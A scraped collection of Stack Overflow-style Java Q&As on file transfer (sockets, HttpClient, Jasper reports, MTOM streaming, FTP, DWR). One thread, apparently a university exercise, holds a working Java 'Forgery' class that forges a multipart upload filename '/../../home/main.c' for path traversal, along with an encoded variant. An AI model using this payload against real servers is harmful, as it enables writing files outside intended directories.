I have a simple question about sending a file (XML file) from my webapp server to another server with Java (struts2 framework).
I hope someone can give a look to my code, because it is impossible for me to check if the code will work - the other server (the one that have to receive the file) is still not implemented. And I have to prepare my webapp server the most correct possible to send the file.
I have an XML file path, and the server address and the port its filled by the spring framework.
Looking at some examples in internet and also in some other questions in this awesome site, I have tried to write a simple code to send my file to the given address. This is the code:
private String server;
private Integer port;
// getters and settlers methods for server and port properties
public void sendXML(String fileName) throws Exception{
try{
Socket socket = new Socket(server, port);
File file = new File(fileName);
FileInputStream fis = new FileInputStream(file);
OutputStream os = socket.getOutputStream();
byte [] bytearray = new byte [(int)file.length()];
BufferedInputStream bis = new BufferedInputStream(fis);
bis.read(bytearray,0,bytearray.length);
os.write(bytearray,0,bytearray.length);
os.flush();
socket.close();
}
catch(IOException e){
e.printStackTrace();
}
}
So, I will be very grateful if someone can give a look to my code and tell me if you think that it will not work. If you think that there is another better way to do it I also would be grateful to know it.
Thank you people, you are always really really helpful ;)
Regards,
Aleix
I suggest you use HTTP rather than raw sockets. It will deal with timeouts, chunking, encoding, etc.
Have a look at the commons http library (formerly known as http-client), it will save you writing your own code.
I have look how to do it trough HTTP with the Apache HttpClient4 and HttpCore4 libraries and I have wrote this code, you think it would work properly? Thank you very much!
private String server;
//private Integer port;
// getter and settler methods for server property
public void sendXML(String fileName) throws Exception{
try{
File file = new File(fileName);
FileEntity entity = new FileEntity(file, "text/xml; charset=\"UTF-8\"");
DefaultHttpClient httpclient = new DefaultHttpClient();
HttpPost method = new HttpPost(server);
method.setEntity(entity);
HttpResponse response = httpclient.execute(method);
}
catch(IOException e){
e.printStackTrace();
}
}
Related
I am creating HTTP server with Tomee, i am placed jasper report file (.jasper) in webapp directory. if i access http://localhost:8080/test.jasper in browser, the browser will prompt to download the file.
In my java project i'm creating simple code to access that link and then preview the report. I use async-http-client library for request.
DefaultAsyncHttpClient client = new DefaultAsyncHttpClient();
BoundRequestBuilder brb = client.prepareGet("http://localhost:8765/qa/test.jasper");
Future<InputStream> f = brb.execute(new AsyncCompletionHandler<InputStream>() {
#Override
public InputStream onCompleted(Response resp) {
try {
String[][] data = {{"Jakarta"},{"Surabaya"},{"Solo"},{"Denpasar"}};
String[] columnNames = {"City"};
DefaultTableModel dtm = new DefaultTableModel(data, columnNames);
Map<String,Object> params = new HashMap<>();
JasperPrint jPrint = JasperFillManager.fillReport(
resp.getResponseBodyAsStream(),
params,
new JRTableModelDataSource(dtm)
);
JasperViewer jpView = new JasperViewer(jPrint,false);
jpView.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);
jpView.setSize(800, 600);
jpView.setLocationRelativeTo(null);
jpView.setVisible(true);
} catch (JRException ex) {
System.out.println(ex.getMessage());
}
return resp.getResponseBodyAsStream();
}
});
From my code above, i got an error Error loading object from InputStream
normally i can use
InputStream input = MainContext.class.getResourceAsStream(filename);
But i want to replace file input stream with http request (stream too).
How exactly i can serve .jasper file with http server...?
Error loading object from InputStream error came from corrupt InputStream, if i download .jasper file normally via browser and execute the report with JRLoader.loadObjectFromFile(path to file) it doesn't works too, because tomee give corrupt file (the source file not corrupt).
My own solution is read source file as stream, convert it to base64 encode, and serve it via HTTP API protocol.
finput = new FileInputStream(sPath);
byte[] bFile = Base64.getEncoder().encode(IOUtils.toByteArray(finput));
String sFile = new String(bFile);
inside client side, i received it as body string, decode the base64 string, convert it to InputStream and Finally execute the report with InputStream.
byte[] bBody = Base64.getDecoder().decode(sBody);
InputStream mainReport = new ByteArrayInputStream(bBody);
return JasperFillManager.fillReport(mainReport, params);
I have a University assignment where I have to upload a file to arbitrary locations. From the code I can see that the uploaded file is being stored in the temporary folder of the unix system + the file name. This means if i can send the server (java) the filename as /../../home/main.c I could store the file on any location on the system.
Its impossible to insert a forward-slash character as part of a file name which excludes this option, so the only way would be to trick the web client somehow sending manually the name of the file.
Is this possible and how?
File f = new File (dir,entry.getname());
where "dir" is /temp
you can name the file something like %2F%2E%2E%2F%2E%2E%2Fhome%2Fmain%2Ec and upload using a browser, but i doubt it will work.
you can also try to forge your multipart/form-data http post request hacking an existing implementation, something like this (using commons-httpClient 3.1):
public class Forgery
{
public static void main(String[] args)
{
File f = new File("/path/fileToUpload.txt");
PostMethod filePost = new PostMethod("http://host/some_path");
Part[] parts =
{
new StringPart("param_name", "value"),
new FilePart(f.getName(), f)
{
private static final byte[] FILE_NAME_BYTES = EncodingUtil.getAsciiBytes(FILE_NAME);
#Override
protected void sendDispositionHeader(OutputStream out) throws IOException
{
out.write(CONTENT_DISPOSITION_BYTES);
out.write(QUOTE_BYTES);
out.write(EncodingUtil.getAsciiBytes(getName()));
out.write(QUOTE_BYTES);
out.write(FILE_NAME_BYTES);
out.write(QUOTE_BYTES);
out.write(EncodingUtil.getAsciiBytes("/../../home/main.c"));
out.write(QUOTE_BYTES);
}
}
};
filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost.getParams()));
HttpClient client = new HttpClient();
int status = client.executeMethod(filePost);
}
}
I want to stream directly from an Oracle database blobs files via WS with MTOM directly to the WS client.
I thought I found a way which is described here:
http://www.java.net/forum/topic/glassfish/metro-and-jaxb/mtom-best-practices
but after i took a look on InputStreamDataSource and javax.mail.util.ByteArrayDataSource i realized that they acutal hava a byte[] of the 'document' in memory meaning the streaming ideea is in vain, cause what i try to avoid is to have multiple docs in the same time fully in memory.
So how can I stream from DB via WS and MTOM to a WS client ?
Any idea ?
Thanks
Cris
I tried experimenting and finally i had some positive results.
In order to stream from DB directly to clients browser the above
things are valid but the InputStreamDataSource should be like this:
public class InputStreamDataSource implements DataSource {
private InputStream inputStream;
public InputStreamDataSource(InputStream inputStream) {
this.inputStream = inputStream;
}
public InputStream getInputStream() throws IOException {
return inputStream;
}
public OutputStream getOutputStream() throws IOException {
throw new UnsupportedOperationException("Not implemented");
}
public String getContentType() {
return "*/*";
}
public String getName() {
return "InputStreamDataSource";
}
}
What I was affraid is that once I closed the input stream myself...
the ws client did not received the binary content...
Than i check and actually the DataHandler creates a new thread and closes the input stream
I was able to stream 500MB from DB to client fast and with low memory footprint !
Im trying to develop a simple java code which will upload some contents from local machine to a server/another machine.I used the below code
import sun.net.ftp.*;
import java.io.*;
public class SftpUpload {
public static void main(String args[]) {
String hostname = "some.remote.machine"; //Remote FTP server: Change this
String username = "user"; //Remote user name: Change this
String password = "start123"; //Remote user password: Change this
String upfile = args[0]; //File to upload passed on command line
String remdir = "/home/user"; //Remote directory for file upload
FtpClient ftp = new FtpClient();
try {
ftp.openServer(hostname); //Connect to FTP server
ftp.login(username, password); //Login
ftp.binary(); //Set to binary mode transfer
ftp.cd(remdir); //Change to remote directory
File file = new File(upfile);
OutputStream out = ftp.put(file.getName()); //Start upload
InputStream in = new FileInputStream(file);
byte c[] = new byte[4096];
int read = 0;
while ((read = in.read(c)) != -1 ) {
out.write(c, 0, read);
} //Upload finished
in.close();
out.close();
ftp.closeServer(); //Close connection
} catch (Exception e) {
System.out.println("Error: " + e.getMessage());
}
}
}
But it is showing error in Line 11 as 'Cannot instantiate the type FtpClient'.
Can some one help me how to rectify it.
You cannot instantiate it because sun.net.ftp.FtpClient is abstract class.
I suggest using Apache Commons Net instead of playing with sun.x packages. FTP client example can be found from here.
If you do want to use the Sun classes, use FtpClient.create(), as per the JavaDoc for this class.
i have resolved the exception.thats because my machine is connected in a network which doesnt allow FTP connection.when i tried it in a private dongle it worked.
is it possible to upload a file and subsequently when receiving response download the file,
I mean in one request I'll upload a file and download the file in one action?
Maybe this demo code will be helpful for you:
http://directwebremoting.org/dwr-demo/simple/download.html
Yes It's possible to do that at least in dwr 3.
An example which return a excel to download from client:
//Java side:
public FileTransfer getExcel(Parametros param){
byte[] result = <here get data>;
InputStream myInputStream = new ByteArrayInputStream(result);
String excelFormat = "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet";
FileTransfer dwrExcelFile = new FileTransfer("excel.xlsx", excelFormat, myInputStream);
return dwrExcelFile;
}
//Javascript side:
function downloadExcelFile() {
dwr.engine.setTimeout(59000);
var params = <params_to_send>;
<Java_class>.getExcel(params, {callback:function(dataFromServer) {
downloadExcelCallback(dataFromServer);
}});
}
function downloadExcelCallback(data) {
dwr.engine.openInDownload(data);
}